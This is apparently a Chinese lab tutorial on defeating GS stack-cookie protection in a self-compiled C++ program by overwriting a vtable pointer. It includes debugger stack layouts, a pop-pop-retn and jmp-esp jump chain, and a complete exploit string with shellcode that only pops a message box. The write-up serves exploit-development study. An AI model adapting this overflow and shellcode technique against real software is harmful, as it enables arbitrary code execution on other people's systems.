摘要
本篇文章详细讲解了如何利用C++中的虚函数绕过GS保护。

注意

  • 本文所介绍的所有技术均以建设安全、健康的网络环境为目的,本着探讨网络安全技术的初衷和目的,不得用于任何恶意或非法的用途。
  • 本文作者不会宽恕或鼓励滥用本文讨论的渗透测试技术进行非法活动的行为,也不会对其承担任何责任。

一、GS保护:

GS保护是在函数编译时对函数的栈保护的一种技术。

GS保护在函数开始时在栈帧的底部(前栈帧的ebp上方)插入cookie xor ebp的值,并在函数返回前用xor运算恢复cookie的值,比对cookie的值是否改变,从而实现对栈的保护,避免了栈溢出攻击。

mov     eax, ___security_cookie
xor     eax, ebp
mov     [ebp+var_4], eax

...
...

mov     ecx, [ebp+var_4]
xor     ecx, ebp              ; StackCookie
call    @__security_check_cookie@4 ; __security_check_cookie(x)

栈帧情况如下图所示:
栈帧示意图


GS保护的漏洞

  • GS在函数返回时才去检测栈是否溢出,我们可以在检测之前控制EIP,所以攻击C++的虚函数的方法和攻击异常处理的方法GS是不能防御的;
  • 因为只对栈保护,然而堆溢出GS是不能保护的;
  • GS只保护带有4字节以上缓冲区的函数,但是缓冲区<=4字节的很不常见。


在VS中开启GS保护(本次工程配置)

  1. 开启GS保护,如下图:
    开启GS保护选项
  2. 其他配置如下:
    其他配置
    其他配置

二、虚函数:

1. 虚函数表:(以下简称虚表)

虚表中存放指向虚函数的指针。
一个虚表中可以存放多个虚函数的起始地址。

2. 虚函数:

函数在调用虚表后,通过虚函数表找到对应的虚函数进行调用。

3. 调用约定:

  • 虚函数调用约定:_thiscall
  • 参数调用顺序:右->左
  • 传递参数方式:利用ECX寄存器(this)
  • 恢复栈平衡:子函数

调用虚函数的汇编代码如下:

mov     edx, [ebp+this]     //将虚表地址放入edx
mov     eax, [edx]          //将虚表地址放入eax
mov     ecx, [ebp+this]     //通过ecx传递虚表地址参数
mov     edx, [eax+10h]      //将虚表中的虚函数地址放入edx
call    edx                 //调用虚函数

4. VS调试:

如下图:
调试虚函数

三、绕过GS保护:

计算字符串长度与操作逻辑:

  1. 对程序进行调试(ollydbg),进入受到GS保护的函数中(main调用的第二个函数)。
  2. 如下图是mian函数的栈帧:
    main函数栈帧
    栈帧布局如下:
    41421146—>返回地址
    41439898—>字符串参数起始地址
    41439998—>虚表地址
    0019FF70—>前栈帧ebp

  3. 思路:
    在函数检查cookie之前,字符串溢出—-> 覆盖或改变虚表地址为可控地址(地址在shellcode字符串空间中)—-> 在假的虚函数地址处放入pop pop retn指令地址字符串—-> 在shellcode开始处放入jump esp指令地址字符串—-> 跳转回shellcode字符串空间,执行shellcode

  4. 三次跳转:
    • 从假的虚表地址跳转到假的虚函数(pop pop retn)
    • retn跳转到jump esp
    • jump esp跳转回shellcode字符串空间,即函数栈帧
  5. 计算shellcode长度:
    栈顶到虚表地址之前(不含虚表地址,strcpy字符串结尾’\00’自动补齐,实现虚表地址末尾覆盖,结果为41439900)

一些问题

1. 虚函数要在检查cookie之前调用,否则无法绕过GS保护的检查;
2. 虚表中可能有多个虚函数,因此修改虚表地址后,pop pop retn指令要放在对应调用的虚函数位置,而不一定是虚表的起始地址;
3. 如果只覆盖到虚表地址,则只能将虚表地址后两位改为\00(00会导致字符串截断);
4. 也可以直接覆盖到虚表地址之后,破坏整个main函数栈帧,这样做可以随意修改虚表地址,而不仅仅是只改后两位;
5. 为什么跳转时写pop pop retn地址,而不是直接写栈顶地址:栈顶地址0019FE28使用不同电脑编译运行会有不同,但内存地址41439900是在编译时决定的,只要编译好了可以通用;
6. 为什么写jump esp,而不是直接jump到一个绝对地址执行shellcode:jump esp是跳转到栈顶,利用的是相对地址,通用性更强,使用绝对地址当编译环境更换时可能失效。

构造shellcode

结果代码如下:

test.gs_overflow(
        "\x27\x11\x42\x41"
        //41421127--->jump esp
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x99\x15\x42\x41"				
        //41421599--->pop pop retn(59 5D C3)
		"\x90\x90\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
		"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
		"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
		"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
		"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
		"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
		"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
		"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		// 15*15+4+8+11 = 248
	);

其中,jump esp的机器码为FF E4,在IDA中查找到地址为41421127;
pop pop retn机器码为59 5D C3,在IDA中查找到地址为41421599。
(指令地址按“U”展开,按“C”收缩)

运行结果:

直接运行:
弹窗结果
调试结果:
弹窗结果
弹窗结果
弹窗结果
弹窗结果
弹窗结果